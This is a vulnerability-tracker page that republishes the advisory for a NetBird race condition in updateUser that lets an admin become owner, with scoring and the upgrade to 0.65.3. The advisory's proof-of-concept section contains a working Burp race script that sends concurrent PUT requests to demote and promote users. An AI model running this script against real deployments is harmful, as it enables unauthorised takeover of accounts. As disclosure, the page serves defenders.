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OSV ecosystem advisory

GHSA-rxmp-8h9v-56cx: NetBird has Race Condition on UpdateUser Function, Resulting in Privilege Escalation From Admin to Owner

MediumCVSS 4.4 · v3.1—No exploit Fix available

Noroxi assessment

Priority: Monitor (action score 17/100)

  • The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
  • Anyone who can reach it over the internet can trigger it. Administrator privileges are required. No user action is required. Special conditions such as timing or configuration are required.
  • Fixed version: github.com/netbirdio/netbird (Go) 0.65.3.

Low priority for now. Upgrade to github.com/netbirdio/netbird (Go) 0.65.3 or later.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: OSV

## Summary A race condition vulnerability allows authenticated admin-privileged users to escalate to owner privilege. ## Details The vulnerability exists in the `updateUser` function, which is connected to the `/users/{userId}` PUT request. This function then calls the `SaveOrAddUsers` function, which checks the user's permissions on two separate occasions. The first check verifies whether the initiator is an admin or owner and rejects the request if the initiator is not. The second check retrieves the user role details from the database again and saves them in a variable called `initiatorUser`. ### `SaveOrAddUsers` Function **Location:** `netbird/management/server/user.go` — Line 556 ![SaveOrAddUsers function code showing the two separate permission checks](https://github.com/user-attachments/assets/821e79a2-ad3e-45d7-a952-daf5422c1801) Afterwards, the `validateUserUpdate` function is called, which checks if the initiator has permission to update that specific user's role. This validation is lacking, as it assumes the initiator is an admin or owner. In the case that the initiator is a regular user, these conditions do not apply, and the target can be updated to owner even when the initiator holds only a user role. ### `validateUserUpdate` Function **Location:** `netbird/management/server/user.go` — Line 862 ![validateUserUpdate function code showing the insufficient permission validation logic](https://github.com/user-attachments/assets/a7e7f2df-ee4c-45b4-9b4d-c71c605dbaaa) In summary, if the initiator's permission is **admin** at the first check and gets dropped to **user** at the second check, the initiator can update a user to **owner**. ## Proof of Concept It is possible to create the following attack: The initiator (`old_admin`) creates two different accounts — one with a **user** role and another with an **admin** role. These will be referred to as `new_user` and `new_admin` from here on. Two different requests are needed: 1. **Request 1** — Using `new_admin`'s JWT, a request is created that changes `old_admin`'s role to **user**. 2. **Request 2** — Using `old_admin`'s JWT, a request is created that changes `new_user`'s role to **owner**. Both requests need valid user IDs and `auto_groups` group IDs. They should be sent simultaneously without waiting for prior requests to return. There is a very small time gap between the first and second permission checks, so multiple tries and multiple copies of the requests may be needed. During a penetration test engagement, privilege escalation was achieved by using **5 copies of Request 1** and **100 copies of Request 2** without waiting for any request to complete. The request that updated the role to owner returned **500** status codes instead of **403**, which when retried returned **200** and successfully applied the update. The following Burp Suite race condition script was used. Note that it may still require multiple tries, and the `old_admin` account role must be reset to **admin** after every failed attempt. ```python import time def queueRequests(target, wordlists): engine = RequestEngine( endpoint=target.endpoint, concurrentConnections=100, requestsPerConnection=100, pipeline=False ) # Request 1 req1 = """PUT /api/users/{OLD_ADMIN_USERID} HTTP/2 Host: CHANGE_WITH_HOST User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0 Accept: application/json Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 Accept-Encoding: gzip, deflate, br Content-Type: application/json Authorization: Bearer {NEW_ADMIN_TOKEN} Content-Length: 73 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers {"role":"user","auto_groups":[GROUP_ID],"is_blocked":false}""" # Request 2 req2 = """PUT /api/users/{NEW_USER_USERID} HTTP/2 Host: CHANGE_WITH_HOST User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0 Accept: application/json Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 Accept-Encoding: gzip, deflate, br Content-Type: application/json Authorization: Bearer {OLD_ADMIN_TOKEN} Content-Length: 52 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers {"role":"owner","auto_groups":[],"is_blocked":false}""" # Send first request engine.queue(req1) engine.queue(req1) engine.queue(req1) engine.queue(req1) engine.queue(req1) # Send second request for i in range(100): engine.queue(req2) def handleResponse(req, interesting): table.add(req) ``` ## Impact An attacker with an admin account on the self-hosted NetBird management application **v0.65.2 or lower** can escalate to owner privileges.

Published
Apr 1, 2026
Updated
Jun 25, 2026
EPSS
—

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JSON

Action score

17

Monitor

Low priority for now.

CVSS
17 / 40 · 4.4 / 10
CISA KEV
0 / 30 · Not listed
EPSS
0 / 30 · —

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Noroxi analysis

What does it mean in your environment?

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Affected systems

Is your version affected?

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VendorProduct
Gogithub.com/netbirdio/netbird

Package-level exposure

OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.

EcosystemPackageAffected rangeFix
Gogithub.com/netbirdio/netbirdbefore 0.65.30.65.3

Same product

Go: all records

Other highest-scoring records for the same primary product.

  • GO-2026-5646NetBird has Race Condition on UpdateUser Function, Resulting in Privilege Escalation From Admin to Owner in github.com/netbirdio/netbird
    0Monitor

Remediation

Which version to upgrade to

Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.

Product / packageFixed versionSource
Go:github.com/netbirdio/netbird0.65.3Package registry (OSV)

Exploit status

No known public exploit

No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.

Research context

For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.

Timeline

From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.

No dated events beyond publication.

Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.

Technical details

Attack conditions

  • Anyone who can reach it over the internet can trigger it.
  • Administrator privileges are required.
  • No user action is required.
  • Special conditions such as timing or configuration are required.

If successful

Confidentiality
none
Integrity
high · data or configuration can be modified
Availability
none
Attack vector
Network
Attack complexity
High
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality impact
None
Integrity impact
High
Availability impact
None

CVSS vector

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:H/A:N

osv

Attack context

MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.

References

Show all references (1 more)

Vendor advisories and official records. Exploit/PoC links are deliberately left out.

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